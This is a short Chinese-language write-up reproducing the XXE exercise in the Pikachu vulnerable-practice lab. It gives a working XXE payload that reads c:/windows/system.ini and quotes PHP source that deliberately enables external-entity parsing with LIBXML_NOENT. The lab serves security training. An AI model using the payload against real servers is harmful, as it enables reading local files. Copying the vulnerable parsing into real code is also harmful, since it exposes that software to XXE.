Pikachu-XXE复现
一个简单的XXE
简单抓包来看一下
这里的xml传入应该就接口了,这里是windows系统搭建的,简单写一下payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">] > <name>&xxe;</name>
直接提交试试
burp上抓包是这样的
所以我们要用Repeater测试的话就需要对payload进行URL编码,不然就不能识别解析了。
源码分析
$html=''; //考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析 if(isset($_POST['submit']) and $_POST['xml'] != null){ $xml =$_POST['xml']; // $xml = $test; $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT); if($data){ $html.="<pre>{$data}</pre>"; }else{ $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>"; } } ?>
这里做了一个对提交和xml不为空的判断,然后
$xml来存储post传过来的数据,也就是我们的输入
simplexml_load_string(data,classname,options,ns,is_prefix);
转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素
options就是可选。规定附加的 Libxml 参数。
LIBXML_NOENT - 开启外部实体解析,
.=,累加到$html上,
用<pre>标签来输出
pre 元素中允许的文本可以包括物理样式和基于内容的样式变化,还有链接、图像和水平分隔线。